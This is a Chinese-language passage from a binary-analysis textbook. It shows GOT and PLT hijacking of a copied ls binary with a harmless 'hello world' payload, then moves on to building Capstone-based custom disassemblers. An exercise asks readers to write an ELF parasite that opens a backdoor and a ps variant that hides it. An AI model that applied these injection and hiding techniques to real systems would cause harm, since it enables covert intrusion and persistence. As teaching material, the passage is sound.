让我们来看一下如何在实践中实现 GOT 劫持技术。列表 7-18 展示了一个示例,该示例将ls二进制文件中fwrite_unlocked库函数的 GOT 条目替换为指向“hello world”函数的指针,如列表 7-17 所示。fwrite_unlockedls用来将所有消息打印到屏幕上的函数。

列表 7-18: 通过劫持 GOT 条目调用注入代码

➊  $ cp /bin/ls ls.got
➋  $ ./elfinject ls.got hello-got.bin ".injected" 0x800000 -1
   $ objdump -M intel -d ls.got
   ...
➌  0000000000402800 <fwrite_unlocked@plt>:
    402800: ff 25 9a ba 21 00 jmp     QWORD PTR [rip+0x21ba9a] # ➍61e2a0 <_fini@@Base+0x20a644>
    402806: 68 51 00 00 00      push 0x51
    40280b: e9 d0 fa ff ff      jmp   4022e0 <_init@@Base+0x28>
   ...
   $ objdump ls.got -s --section=.got.plt

   ls.got:           file format elf64-x86-64

   Contents of section .got.plt:
   ...
    61e290 e6274000 00000000 f6274000 00000000 .'@......'@.....
    61e2a0 ➎06284000 00000000 16284000 00000000 .(@......(@.....
    61e2b0 26284000 00000000 36284000 00000000 &(@.....6(@.....
   ...
➏  $ hexedit ls.got
   $ objdump ls.got -s --section=.got.plt

   ls.got:           file format elf64-x86-64

   Contents of section .got.plt:
   ...
   61e290 e6274000 00000000 f6274000 00000000 .'@......'@.....
   61e2a0 ➐780e8000 00000000 16284000 00000000 x........(@.....
   61e2b0 26284000 00000000 36284000 00000000 &(@.....6(@.....
   ...
➑ $ ./ls.got
   hello world!
   hello world!
   hello world!
   hello world!
   hello world!
   ...

在创建ls的全新副本 ➊ 并将代码注入其中 ➋ 后,你可以使用objdump查看二进制文件的 PLT 条目(GOT 条目在此处使用),并找到fwrite_unlocked的条目 ➌。它从地址0x402800开始,使用的 GOT 条目位于地址0x61e2a0 ➍,该地址在.got.plt段中。

使用objdump查看.got.plt段,你可以看到存储在 GOT 条目中的原始地址 ➎:402806(以小端格式编码)。

如第二章所述,这是fwrite_unlocked在 PLT 条目中下一条指令的地址,你想用注入代码的地址来覆盖它。因此,下一步是启动hexedit,搜索字符串062840,并将其替换为注入代码地址0x800e78 ➏,像往常一样确认更改。你可以通过再次使用objdump查看修改后的 GOT 条目 ➐。

在将 GOT 条目修改为指向你的hello world函数后,每次ls程序调用fwrite_unlocked时,都会打印hello world➑,并将所有常规的ls输出替换为hello world字符串的副本。当然,实际情况下,你可能希望将fwrite_unlocked替换为一个更有用的函数。

GOT 劫持的一个好处是,它不仅简单直观,而且可以在运行时轻松完成。这是因为与代码段不同,.got.plt在运行时是可写的。因此,GOT 劫持不仅是静态二进制修改中的一种流行技术,如我在这里演示的,还广泛应用于旨在改变正在运行的进程行为的漏洞利用中。

7.4.4 劫持 PLT 条目

下一种调用注入代码的技术是 PLT 劫持,它与 GOT 劫持类似。与 GOT 劫持一样,PLT 劫持允许你插入一个替代已有库函数的代码。唯一的区别在于,你不是修改 PLT 存根使用的 GOT 条目中的函数地址,而是直接修改 PLT 存根本身。由于该技术涉及修改 PLT(它是一个代码段),因此不适用于在运行时修改二进制的行为。Listing 7-19 展示了如何使用 PLT 劫持技术。

Listing 7-19:通过劫持 PLT 条目调用注入代码

➊ $ cp /bin/ls ls.plt
➋ $ ./elfinject ls.plt hello-got.bin ".injected" 0x800000 -1
   $ objdump -M intel -d ls.plt
   ...
➌ 0000000000402800 <fwrite_unlocked@plt>:
     402800: ➍ff 25 9a ba 21 00    jmp    QWORD PTR [rip+0x21ba9a] # 61e2a0 <_fini@@Base+0x20a644>
     402806: 68 51 00 00 00       push  0x51
     40280b: e9 d0 fa ff ff       jmp   4022e0 <_init@@Base+0x28>
   ...
➎ $ hexedit ls.plt
   $ objdump -M intel -d ls.plt
   ...
➏ 0000000000402800 <fwrite_unlocked@plt>:
     402800: e9 73 e6 3f 00     jmp    800e78 <_end@@Base+0x1e1b10>
     402805: 00 68 51           add    BYTE PTR [rax+0x51],ch
     402808: 00 00              add    BYTE PTR [rax],al
     40280a: 00 e9              add    cl,ch
     40280c: d0 fa              sar    dl,1
     40280e: ff                 (bad)
     40280f: ff                 .byte 0xff
    ...
➐ $ ./ls.plt
   hello world!
   hello world!
   hello world!
   hello world!
   hello world!
   ...

如之前所述,首先创建ls二进制文件的副本➊,并将新代码注入其中➋。请注意,此示例使用与 GOT 劫持技术相同的代码载荷。如同 GOT 劫持示例一样,你将用“hello world”函数替换fwrite_unlocked库调用。

使用objdump查看fwrite_unlocked的 PLT 条目➌。但这次,你不是关注 PLT 存根使用的 GOT 条目的地址,而是查看 PLT 存根第一条指令的二进制编码。如objdump所示,编码为ff259aba2100 ➍,对应一个相对于rip寄存器的间接jmp指令。你可以通过用另一个指令覆盖此指令,从而直接跳转到注入的代码,来劫持 PLT 条目。

接下来,使用hexedit,搜索与 PLT 存根第一条指令ff259aba2100对应的字节序列➎。一旦找到它,将其替换为e973e63f00,该编码表示一个直接跳转(jmp)到地址0x800e78,即注入代码所在的位置。替换字符串的第一个字节e9是直接jmp的操作码,接下来的 4 个字节是相对于jmp指令本身的偏移量,指向注入的代码。

完成修改后,再次使用objdump反汇编 PLT,验证修改结果➏。正如你所看到的,fwrite_unlocked的 PLT 条目的第一条反汇编指令现在是jmp 800e78:直接跳转到注入的代码。之后,反汇编器显示一些伪指令,它们是原始 PLT 条目中没有被覆盖的剩余字节产生的伪指令。由于第一条指令是唯一会被执行的指令,因此这些伪指令并不成问题。

现在,让我们来看一下修改是否生效。当你运行修改后的ls二进制文件时,你会看到每次调用fwrite_unlocked函数时都会打印“hello world”消息➐,正如预期的那样,产生与 GOT 劫持技术相同的结果。

7.4.5 重定向直接和间接调用

到目前为止,你已经学会了如何在二进制文件的开始或结束时,或者在调用库函数时运行注入的代码。但当你想使用注入的函数替换非库函数时,劫持 GOT 或 PLT 条目就不起作用。在这种情况下,你可以使用反汇编工具定位你想修改的调用,然后覆盖它们,使用十六进制编辑器将其替换为调用注入函数,而不是原始函数。十六进制编辑过程与修改 PLT 条目相同,因此我不会在这里重复步骤。

当重定向间接调用(与直接调用相对)时,最简单的方法是将间接调用替换为直接调用。然而,这并不总是可行的,因为直接调用的编码可能比间接调用的编码长。在这种情况下,你首先需要找到你想替换的间接调用函数的地址,例如,通过使用gdb在间接调用指令上设置断点并检查目标地址。

一旦你知道了要替换的函数的地址,你可以使用objdump或十六进制编辑器在二进制文件的.rodata段中搜索该地址。如果运气好的话,这可能会显示包含目标地址的函数指针。然后你可以使用十六进制编辑器覆盖这个函数指针,将其设置为注入代码的地址。如果运气不好,函数指针可能会在运行时以某种方式计算出来,这需要更复杂的十六进制编辑来将计算出的目标替换为注入函数的地址。

7.5 小结

在本章中,你学习了如何使用几种简单的技术修改 ELF 二进制文件:十六进制编辑、LD_PRELOAD和 ELF 段注入。由于这些技术的灵活性较差,它们仅适用于对二进制文件进行小规模修改。本章应该让你意识到,实际上有需求需要更通用、更强大的二进制修改技术。幸运的是,这些技术确实存在,我将在第九章中讨论它们!

练习

1. 更改日期格式

创建一份 /bin/date 程序的副本,并使用 hexedit 更改默认日期格式字符串。你可能需要使用 strings 查找默认的格式字符串。

2. 限制 ls 的作用范围

使用 LD_PRELOAD 技术修改一份 /bin/ls 的副本,使其仅显示你主目录路径下的目录列表。

3. 一个 ELF 寄生虫

编写你自己的 ELF 寄生虫,并使用 elfinject 将其注入到你选择的程序中。看看你能否让寄生虫分叉出一个子进程并打开后门。如果你能创建一个修改版的 ps,使其不在进程列表中显示寄生虫进程,则可以获得额外积分。

第三部分

高级二进制分析

第八章:自定义反汇编

到目前为止,我已经讨论了基本的二进制分析和反汇编技术。但是,这些基本技术并不是为了解决那些打破标准反汇编假设的混淆二进制文件,或者像漏洞扫描这样的特殊分析设计的。有时候,即使是反汇编工具提供的脚本功能也不足以解决这些问题。在这种情况下,你可以构建一个专门的反汇编引擎,量身定制,满足你的需求。

在本章中,你将学习如何使用Capstone实现一个自定义反汇编器,Capstone是一个反汇编框架,能够让你完全控制整个分析过程。你将首先探索 Capstone API,使用它构建一个自定义的线性反汇编器和递归反汇编器。接着,你将学习如何实现一个更先进的工具,即返回导向编程(ROP)小工具扫描器,利用它构建 ROP 利用攻击。

8.1 为什么要编写自定义反汇编模块?

大多数著名的反汇编工具,如 IDA Pro,旨在帮助手动逆向工程。这些是强大的反汇编引擎,提供了广泛的图形界面,丰富的选项来可视化反汇编的代码,以及方便的方式来浏览大量汇编指令。当你的目标仅仅是理解一个二进制文件的功能时,通用反汇编工具足够使用,但通用工具缺乏进行高级自动化分析所需的灵活性。虽然许多反汇编工具提供了用于后处理反汇编代码的脚本功能,但它们并不提供调整反汇编过程本身的选项,也不适用于高效批量处理二进制文件。因此,当你希望对多个二进制文件进行专门的自动化分析时,你将需要一个自定义反汇编器。

8.1.1 自定义反汇编的应用案例:混淆代码

当你需要分析那些打破标准反汇编假设的二进制文件时,比如恶意软件、混淆的或手工制作的二进制文件,或者从内存转储或固件中提取的二进制文件时,自定义反汇编模块就非常有用。此外,自定义反汇编模块还允许你轻松实现专门的二进制分析,如扫描特定的伪迹象,例如指示可能存在漏洞的代码模式。它们还可以作为研究工具,帮助你尝试新的反汇编技术。

作为定制反汇编的第一个具体应用案例,我们来考虑一种特定类型的代码混淆,它使用 指令重叠。大多数反汇编工具会为每个二进制文件输出一份单一的反汇编列表,因为它们假设二进制文件中的每个字节至多对应一条指令,每条指令都包含在一个单独的基本块中,而每个基本块都是某个函数的一部分。换句话说,反汇编工具通常假设代码块之间不会互相重叠。指令重叠打破了这个假设,迷惑了反汇编工具,使得重叠的代码更难以进行逆向工程。

指令重叠之所以可行,是因为 x86 平台上的指令长度各不相同。与其他一些平台(如 ARM)不同,并非所有 x86 指令都由相同数量的字节组成。因此,处理器不会强制要求指令在内存中的特定对齐方式,这使得一条指令有可能占用已经被另一条指令占用的代码地址。这意味着,在 x86 上,你可以从某条指令的中间开始反汇编,而反汇编的结果将会是与第一条指令部分(或完全)重叠的 另一 条指令。

混淆器乐于滥用指令重叠来迷惑反汇编工具。指令重叠在 x86 上尤其容易实现,因为 x86 指令集极为紧凑,这意味着几乎任何字节序列都对应着某条有效的指令。

列表 8-1 展示了一个指令重叠的示例。你可以在 overlapping_bb.c 中找到产生此列表的原始源代码。要反汇编重叠的代码,你可以使用 objdump-start-address=<addr> 标志,从给定地址开始反汇编。

列表 8-1:重叠 _bb 的反汇编(1)

   $ objdump -M   intel --start-address=0x4005f6 -d overlapping_bb
   4005f6: push   rbp
   4005f7: mov    rbp,rsp
   4005fa: mov    DWORD PTR [rbp-0x14],edi   ; ➊load i
   4005fd: mov    DWORD PTR [rbp-0x4],0x0    ; ➋j = 0
   400604: mov    eax,DWORD PTR [rbp-0x14]   ; eax = i
   400607: cmp    eax,0x0                    ; cmp i to 0
➌ 40060a: jne    400612 <overlapping+0x1c>   ; if i != 0, goto 0x400612
   400610: xor    eax,0x4                    ; eax = 4 (0 xor 4)
   400613: add    al,0x90                    ; ➍eax = 148 (4 + 144)
   400615: mov    DWORD PTR [rbp-0x4],eax    ; j = eax
   400618: mov    eax,DWORD PTR [rbp-0x4]    ; return j
   40061b: pop    rbp
   40061c: ret

列表 8-1 展示了一个简单的函数,它接受一个输入参数,称为 i ➊,并有一个局部变量 j ➋。经过一些计算后,函数返回 j

仔细观察,你应该会注意到一些奇怪的地方:地址 40060a ➌ 处的 jne 指令条件跳转到指令 400610 开始的 中间 部分,而不是继续执行任何列出指令的 开始!大多数反汇编工具,如 objdump 和 IDA Pro,只会反汇编 列表 8-1 中显示的指令。这意味着通用反汇编工具会错过地址 400612 处的重叠指令,因为这些字节已经被 jne 指令的 fall-through 跳转所占用。这种指令重叠使得隐藏对程序整体结果有重大影响的代码路径成为可能。例如,考虑以下情况。

在 清单 8-1 中,如果地址 40060a 处的跳转没有被执行(i == 0),穿透情况到达的指令会计算并返回值 148 ➍。然而,如果跳转执行(i != 0),那么在 清单 8-1 中隐藏的代码路径会被执行。我们来看看 清单 8-2,它展示了这个隐藏的代码路径,看看它是如何返回完全不同的值的。

清单 8-2:重叠基本块的反汇编(2)

   $ objdump -M intel --start-address=0x4005f6 -d overlapping_bb
   4005f6:  push  rbp
   4005f7:  mov   rbp,rsp
 4005fa:  mov   DWORD PTR [rbp-0x14],edi  ; load i
   4005fd:  mov   DWORD PTR [rbp-0x4],0x0   ; j = 0
   400604:  mov   eax,DWORD PTR [rbp-0x14]  ; eax = i
   400607:  cmp   eax,0x0                   ; cmp i to 0
➊ 40060a:  jne   400612 <overlapping+0x1c> ; if i != 0, goto 0x400612

   # 400610: ; skipped
   # 400611: ; skipped

   $ objdump -M intel --start-address=0x400612 -d overlapping_bb
➋ 400612:  add  al,0x4                      ; ➌eax = i + 4
   400614:  nop
   400615:  mov  DWORD PTR [rbp-0x4],eax    ; j = eax
   400618:  mov  eax,DWORD PTR [rbp-0x4]    ; return j
   40061b:  pop  rbp
   40061c:  ret

清单 8-2 显示了如果执行 jne 指令 ➊ 的代码路径。在这种情况下,它跳过两个字节(400610400611),跳转到地址 0x400612 ➋,这是 xor 指令的中间部分,这个指令出现在 jne 的穿透情况中。这会导致不同的指令流。特别是,j 上进行的算术运算现在不同,导致函数返回 i + 4 ➌ 而不是 148。正如你能想象的那样,这种混淆使得代码难以理解,特别是当这种混淆在多个地方应用时。

通常,你可以通过在不同的偏移量重新启动反汇编来诱使反汇编器揭示隐藏的指令,就像我在前面的清单中使用 objdump-start-address 标志所做的那样。如 清单 8-2 所示,在地址 400612 重新启动反汇编可以揭示隐藏在那里的指令。然而,这样做会导致地址 400610 处的指令变得隐藏。某些混淆程序充斥着像这个例子中展示的重叠代码序列,使得代码非常繁琐,且手动调查时十分困难。

清单 8-1 和 8-2 的示例表明,构建一个专门的去混淆工具,可以自动“解开”重叠指令,这可以大大简化逆向工程。特别是如果你经常需要逆向混淆的二进制文件,那么构建去混淆工具的努力在长远来看是值得的。^(1) 本章后续内容中,你将学习如何构建一个递归反汇编器,它能够处理像前面清单所示的重叠基本块。

非混淆二进制文件中的重叠代码

有趣的是,重叠指令不仅发生在故意混淆的代码中,还出现在包含手写汇编的高度优化代码中。诚然,第二种情况更容易处理,而且出现的频率也要低得多。以下清单展示了来自 glibc 2.22 的重叠指令。^(a)

7b05a: cmp          DWORD PTR fs:0x18,0x0
7b063: je           7b066
7b065: lock cmpxchg QWORD PTR [rip+0x3230fa],rcx

根据 cmp 指令的结果,je 指令要么跳转到地址 7b066,要么继续执行到地址 7b065。唯一的区别是,后者地址对应一个 lock cmpxchg 指令,而前者对应一个 cmpxchg。换句话说,条件跳转用于在同一指令的锁定和非锁定变种之间进行选择,通过选择性跳过一个 lock 前缀字节。

a. glibc 是 GNU C 库。它几乎在所有在 GNU/Linux 平台上编译的 C 程序中都会使用,因此经过了大量的优化。

8.1.2 编写自定义反汇编器的其他原因

混淆代码并不是构建自定义反汇编流程的唯一原因。一般来说,定制化在你需要完全控制反汇编过程的任何情况下都非常有用。正如我之前提到的,那些情况通常出现在你分析混淆的或其他特殊的二进制文件时,或者当你需要进行通用反汇编工具不支持的专业分析时。

在本章后面,你将看到一个示例,展示如何使用自定义反汇编来构建 ROP gadget 扫描器,这需要从多个起始偏移量反汇编二进制文件,而大多数反汇编器并不直接支持这种操作。ROP gadget 扫描涉及在二进制文件中查找每一个可能的代码序列,包括未对齐的代码序列,这些序列可以在 ROP 利用中使用。

反过来,有时你可能会想从反汇编中省略某些代码路径,而不是查找每一个可能的代码序列。例如,这在你希望忽略混淆器创建的虚假路径^(2),或者构建一个混合静态-动态分析并将反汇编集中在你已经动态探索过的特定路径时非常有用。

也有一些情况,构建自定义反汇编工具可能并非出于技术上的必要,而是为了提高效率或降低成本。例如,自动化二进制分析工具通常只需要非常基础的反汇编功能。它们最艰难的部分是自定义分析反汇编后的指令,而这一步并不需要像自动反汇编器那样提供复杂的用户界面或便利功能。在这种情况下,你可以选择使用免费的开源反汇编库来构建自己的自定义工具,而不是依赖那些可能昂贵的商业反汇编器,后者的费用可能高达数千美元。

构建自定义反汇编器的另一个原因是效率。标准反汇编器中的脚本通常需要对代码进行至少两次遍历:一次用于初始的反汇编,另一次用于脚本进行的后处理。此外,这些脚本通常是用高级语言(如 Python)编写的,这导致了相对较差的运行时性能。这意味着,在对许多大型二进制文件进行复杂分析时,构建一个能够原生运行并在一次遍历中完成所有必要分析的工具,往往能大大提高性能。

现在你已经了解了自定义反汇编的有用性,让我们看看如何进行!我将从简要介绍Capstone开始,它是构建自定义反汇编工具最流行的库之一。

8.2 Capstone 简介

Capstone 是一个反汇编框架,旨在提供一个简单、轻量级的 API,能够透明地处理大多数流行的指令架构,包括 x86/x86-64、ARM、MIPS 等。它为 C/C++和 Python(以及其他语言,虽然我们将像往常一样使用 C/C++)提供了绑定,并支持所有流行平台,包括 Windows、Linux 和 macOS。它也是完全免费的,且开源。

使用 Capstone 构建反汇编工具是一个直接的过程,具有极其多样的可能性。尽管 API 主要围绕几个函数和数据结构构建,但它并没有为了简洁而牺牲可用性。使用 Capstone,你可以轻松地恢复反汇编指令的几乎所有相关细节,包括指令操作码、助记符、类别、指令读取和写入的寄存器等。学习 Capstone 的最好方式是通过实例,因此让我们直接开始。

8.2.1 安装 Capstone

Capstone v3.0.5 已预安装在本书随附的虚拟机中。如果你想在其他机器上尝试 Capstone,安装过程相当简单。Capstone 网站^(3)提供了适用于 Windows 和 Ubuntu 等操作系统的现成软件包,并且提供了一个源代码档案,供在其他平台上安装 Capstone。

和往常一样,我们将使用 C/C++编写基于 Capstone 的工具,但对于快速实验,你也可以使用 Python 来探索 Capstone。为此,你需要 Capstone 的 Python 绑定。这些绑定也已预安装在虚拟机中,但如果你有pip Python 包管理器,在你自己的机器上安装它们也非常简单。确保你已经安装了 Capstone 核心包,然后在命令提示符中输入以下内容来安装 Capstone Python 绑定:

pip install capstone

一旦你有了 Python 绑定,你就可以启动 Python 解释器并开始自己的反汇编实验,如 Listing 8-3 所示。

Listing 8-3: 探索 Python Capstone 绑定

   >>> import capstone
➊ >>> help(capstone)
   Help on package capstone:

   NAME
       capstone - # Capstone Python bindings, by Nguyen Anh
                  # Quynnh <aquynh@gmail.com>

   FILE
       /usr/local/lib/python2.7/dist-packages/capstone/__init__.py

   [...]

   CLASSES
       __builtin__.object
           Cs
           CsInsn
       _ctypes.PyCFuncPtr(_ctypes._CData)
           ctypes.CFunctionType
       exceptions.Exception(exceptions.BaseException)
           CsError
    ➋class Cs(__builtin__.object)
        | Methods defined here:
        |
        | __del__(self)
        |      # destructor to be called automatically when
        |      # object is destroyed.
        |
        | __init__(self, arch, mode)
        |
 | disasm(self, code, offset, count=0)
        |     # Disassemble binary & return disassembled
        |     # instructions in CsInsn objects
        [...]

这个示例导入了capstone包,并使用 Python 内置的help命令来探索 Capstone ➊。提供主要功能的类是capstone.Cs ➋。最重要的是,它提供了访问 Capstone 的disasm函数的功能,该函数将代码缓冲区反汇编并返回反汇编结果。要探索 Capstone 的 Python 绑定提供的其他功能,可以使用 Python 内置的helpdir命令!在本章的其余部分,我将重点介绍使用 C/C++构建 Capstone 工具,但该 API 与 Capstone 的 Python API 非常相似。

8.2.2 使用 Capstone 进行线性反汇编

从高层次来看,Capstone 将包含一段代码字节的内存缓冲区作为输入,并输出从这些字节中反汇编的指令。使用 Capstone 的最基本方法是将包含给定二进制.text部分的所有代码字节的缓冲区传递给它,然后将这些指令线性地反汇编成可读的形式,或者指令助记符。除了初始化和输出解析代码外,Capstone 只需通过调用cs_disasm函数即可实现此用法模式。示例 8-4 中的示例实现了一个类似objdump的简单工具。为了将二进制文件加载到 Capstone 可以使用的字节块中,我们将重用第四章中实现的基于libbfd的二进制加载器(loader.h)。

示例 8-4: basic_capstone_linear.cc

   #include  <stdio.h>
   #include  <string>
   #include  <capstone/capstone.h>
   #include  "../inc/loader.h"

   int disasm(Binary *bin);

   int
   main(int argc, char *argv[])
   {
     Binary bin;
     std::string fname;

     if(argc < 2) {
       printf("Usage: %s <binary>\n", argv[0]);
       return 1;
     }
 fname.assign(argv[1]);
➊    if(load_binary(fname, &bin, Binary::BIN_TYPE_AUTO) < 0) {
       return 1;
     }

➋    if(disasm(&bin) < 0) {
       return 1;
     }

     unload_binary(&bin);

     return 0;
  }

  int
  disasm(Binary *bin)
  {
    csh dis;
    cs_insn *insns;
    Section *text;
    size_t n;

    text = bin->get_text_section();
    if(!text) {
      fprintf(stderr, "Nothing to disassemble\n");
      return 0;
    }

➌   if(cs_open(CS_ARCH_X86, CS_MODE_64, &dis) != CS_ERR_OK) {
      fprintf(stderr, "Failed to open Capstone\n");
      return -1;
    }

➍   n = cs_disasm(dis, text->bytes, text->size, text->vma, 0, &insns);
    if(n <= 0) {
      fprintf(stderr, "Disassembly error: %s\n",
              cs_strerror(cs_errno(dis)));
      return -1;
    }

➎   for(size_t i = 0; i < n; i++) {
      printf("0x%016jx: ", insns[i].address);
      for(size_t j = 0; j < 16; j++) {
        if(j < insns[i].size) printf("%02x ", insns[i].bytes[j]);
        else printf("   ");
      }
 printf("%-12s %s\n", insns[i].mnemonic, insns[i].op_str);
      }

➏    cs_free(insns, n);
      cs_close(&dis);

      return 0;
   }

这就是实现一个简单线性反汇编器所需的全部!注意源代码顶部的一行:#include <capstone/capstone.h>。要在 C 程序中使用 Capstone,只需包含这个头文件,并使用-lcapstone链接器标志将程序与 Capstone 库链接。所有其他 Capstone 头文件都从capstone.h#include,因此你不需要手动#include它们。覆盖了这些内容后,我们一起浏览示例 8-4 中的剩余源代码。

初始化 Capstone

我们从main函数开始,它期望一个命令行参数:要反汇编的二进制文件的名称。main函数将此二进制文件的名称传递给load_binary函数(在第四章中实现),该函数将二进制文件加载到一个名为binBinary对象中 ➊。然后,mainbin传递给disasm函数 ➋,等待它完成,最后通过卸载二进制文件来进行清理。正如你可能猜到的,所有实际的反汇编工作都在disasm函数中完成。

为了反汇编给定二进制文件的.text部分,disasm首先通过调用bin->get_text_section()来获取指向表示.text部分的Section对象的指针。到目前为止,这部分应该在第四章中已经很熟悉了。现在让我们来看看一些实际的 Capstone 代码!

disasm 调用的第一个 Capstone 函数是任何使用 Capstone 的程序中的典型函数。它叫做 cs_open,其目的是打开一个正确配置的 Capstone 实例 ➌。在本例中,一个正确配置的实例是指设置为反汇编 x86-64 代码的实例。你传递给 cs_open 的第一个参数是一个常量 CS_ARCH_X86,告诉 Capstone 你想要反汇编 x86 架构的代码。更具体地说,你通过传递 CS_MODE_64 作为第二个参数,告诉 Capstone 代码将是 64 位的。最后,第三个参数是一个指向类型为 csh(即“Capstone 句柄”)的对象的指针。这个指针被称为 dis。在 cs_open 成功完成后,这个句柄表示一个完全配置好的 Capstone 实例,你将需要它来调用任何其他 Capstone API 函数。如果初始化成功,cs_open 返回 CS_ERR_OK

反汇编代码缓冲区

现在你已经拥有了一个 Capstone 句柄和加载的代码段,可以开始反汇编了!这只需要调用一次 cs_disasm 函数 ➍。

该调用的第一个参数是 dis,也就是你的 Capstone 句柄。接下来,cs_disasm 期望一个缓冲区(具体来说是 const uint8_t*)来存放待反汇编的代码,一个 size_t 整数表示缓冲区中代码字节的数量,以及一个 uint64_t 表示缓冲区中第一个字节的虚拟内存地址(VMA)。代码缓冲区及相关值都方便地预加载在代表加载的二进制文件 .text 部分的 Section 对象中。

cs_disasm 的最后两个参数是一个 size_t,用于指示要反汇编的指令数(这里是 0,表示尽可能多地反汇编)以及一个指向 Capstone 指令缓冲区(cs_insn**)的指针。这个最后的参数需要特别注意,因为 cs_insn 类型在基于 Capstone 的应用程序中扮演着核心角色。

cs_insn 结构体

正如你在示例代码中所看到的,disasm 函数包含一个类型为 cs_insn* 的局部变量,名为 insnsinsns 的地址作为调用 cs_disasm 的最后一个参数,见 ➍。在反汇编代码缓冲区时,cs_disasm 会构建一个反汇编指令的数组。在反汇编过程结束时,它会将这个数组返回到 insns 中,这样你就可以遍历所有的反汇编指令,并以某种特定于应用的方式处理它们。示例代码只是打印了这些指令。每条指令都是一个 struct 类型,名为 cs_insn,该类型在 capstone.h 中定义,如 列表 8-5 所示。

列表 8-5: struct cs_insn capstone.h 中的定义

typedef struct   cs_insn {
  unsigned int    id;
  uint64_t        address;
  uint16_t        size;
  uint8_t         bytes[16];
  char            mnemonic[32];
  char            op_str[160];
  cs_detail      *detail;
} cs_insn;

id 字段是一个唯一的(架构特定的)指令类型标识符,可以让你在不进行字符串比较的情况下检查你正在处理的指令类型。例如,你可以实现针对反汇编指令的指令特定处理,正如 Listing 8-6 中所示。

Listing 8-6: 使用 Capstone 进行指令特定处理

switch(insn->id) {
case X86_INS_NOP:
  /* handle NOP instruction */
  break;
case X86_INS_CALL:
  /* handle call instruction */
  break;
default:
  break;
}

在这个例子中,insn 是指向 cs_insn 对象的指针。请注意,id 值在特定架构内是唯一的,而不是跨架构唯一的。可能的值在架构特定的头文件中定义,你将在 Section 8.2.3 中看到。

cs_insn 中的 addresssizebytes 字段包含指令的地址、字节数和字节内容。mnemonic 是一个表示指令的可读字符串(不包含操作数),而 op_str 是指令操作数的可读表示。最后,detail 是指向一个(主要是架构特定的)数据结构的指针,包含有关反汇编指令的更详细信息,例如它读取和写入哪些寄存器。请注意,只有在你明确启用 Capstone 的详细反汇编模式后,detail 指针才会被设置,而本示例中并未启用该模式。在 Section 8.2.4 中,你将看到使用详细反汇编模式的示例。

反汇编代码解释与清理

如果一切顺利,cs_disasm 应该返回反汇编的指令数量。如果失败,它会返回 0,你必须调用 cs_errno 函数来检查错误是什么。这将返回一个 enum 类型的 cs_err 值。在大多数情况下,你需要打印一个可读的错误信息并退出。为此,Capstone 提供了一个便捷的函数 cs_strerror,它将一个 cs_err 值转换为描述错误的字符串。

如果没有错误,disasm 函数会遍历 cs_disasm 返回的所有反汇编指令 ➎(参见 Listing 8-4)。这个循环会为每条指令打印一行,包含之前描述的 cs_insn 结构体中的不同字段。最后,在循环完成后,disasm 会调用 cs_free(insns, n) 来释放 Capstone 为它解析到 insns 缓冲区中的每条 n 条指令分配的内存 ➏,然后通过调用 cs_close 来关闭 Capstone 实例。

现在你应该已经了解了进行基本反汇编和分析任务所需的大部分重要 Capstone 函数和数据结构。如果你愿意,可以尝试编译并运行 basic_capstone_linear 示例。它的输出应该是反汇编二进制文件 .text 区段中的指令列表,参考 Listing 8-7。

Listing 8-7: 线性反汇编工具的示例输出

$ ./basic_capstone_linear /bin/ls | head   -n 10
0x402a00: 41 57                  push      r15
0x402a02: 41 56                  push      r14
0x402a04: 41 55                  push      r13
 0x402a06: 41 54                  push      r12
0x402a08: 55                     push      rbp
0x402a09: 53                     push      rbx
0x402a0a: 89 fb                  mov       ebx,   edi
0x402a0c: 48 89 f5               mov       rbp,   rsi
0x402a0f: 48 81 ec 88 03 00 00   sub       rsp,   0x388
0x402a16: 48 8b 3e               mov       rdi,   qword ptr [rsi]

在本章的其余部分,你将看到更多使用 Capstone 的详细反汇编示例。更复杂的示例大多归结为解析一些更详细的数据结构。它们并不比你已经看到的示例更加困难。

8.2.3 探索 Capstone C API

现在你已经了解了一些基本的 Capstone 函数和数据结构,你可能会想知道 Capstone API 的其余部分是否有文档。目前,遗憾的是并没有一份全面的 Capstone API 文档。你手头上最接近的资源是 Capstone 的头文件。幸运的是,这些文件注释清晰且不复杂,因此只需一些基本的指引,你就能快速浏览它们,找到任何给定项目所需的内容。Capstone 的头文件包括所有与 Capstone v3.0.5 一同发布的 C 语言头文件。我在 Listing 8-8 中阴影标出了这些文件中最重要的部分。

Listing 8-8: Capstone C 头文件

$ ls /usr/include/capstone/
arm.h arm64.h capstone.h    mips.h   platform.h  ppc.h

sparc.h  systemz.h  x86.h  xcore.h

如你所见,capstone.h 是 Capstone 的主要头文件。它包含了所有 Capstone API 函数的注释定义,以及一些与架构无关的数据结构,如 cs_insncs_err。这里也是所有 enum 类型(如 cs_archcs_modecs_err)的所有可能值的定义所在。例如,如果你想修改线性反汇编器,使其支持 ARM 代码,你可以参考 capstone.h 来查找适当的架构(CS_ARCH_ARM)和模式(CS_MODE_ARM)参数,然后将它们传递给 cs_open 函数。^(4)

依赖架构的数据结构和常量定义在单独的头文件中,例如 x86 和 x86-64 架构的 x86.h。这些文件指定了 cs_insn 结构体中 id 字段的可能值——对于 x86,这些值全部是名为 x86_insnenum 类型中列出的值。大部分情况下,你需要参考特定架构的头文件,了解通过 cs_insn 类型的 detail 字段可以访问哪些详细信息。如果启用了详细反汇编模式,该字段指向一个 cs_detail 结构体。

cs_detail 结构体包含一个依赖架构的 union,其中包含提供指令详细信息的不同 struct 类型。与 x86 相关的类型叫做 cs_x86,定义在 x86.h 中。为了说明这一点,接下来我们将构建一个递归反汇编器,使用 Capstone 的详细反汇编模式获取 x86 指令的架构特定信息。

8.2.4 使用 Capstone 的递归反汇编

在没有详细反汇编的情况下,Capstone 只允许你检查关于指令的基本信息,如地址、原始字节或助记符表示。这对于线性反汇编器来说是足够的,正如你在之前的示例中看到的那样。然而,更高级的二进制分析工具通常需要根据指令属性做出决策,例如指令访问的寄存器、操作数的类型和值、指令类型(算术、控制流等)或控制流指令指向的位置。这类详细信息只有在 Capstone 的详细反汇编模式中才会提供。解析这些信息需要 Capstone 额外的处理,因此详细反汇编的速度比非详细模式慢。因此,你应仅在需要时使用详细模式。递归反汇编就是需要详细反汇编模式的一个场景。递归反汇编是许多二进制分析应用中的一个常见主题,所以我们来更详细地探讨它。

回顾一下第六章,递归反汇编通过从已知的入口点(如二进制文件的主入口点或函数符号)开始,跟随控制流指令来发现代码。与盲目按顺序反汇编所有代码的线性反汇编不同,递归反汇编不容易被诸如与代码交错的数据等情况欺骗。缺点是,如果指令只能通过间接控制流访问,而这些控制流无法静态解析,递归反汇编可能会遗漏这些指令。

设置详细反汇编模式

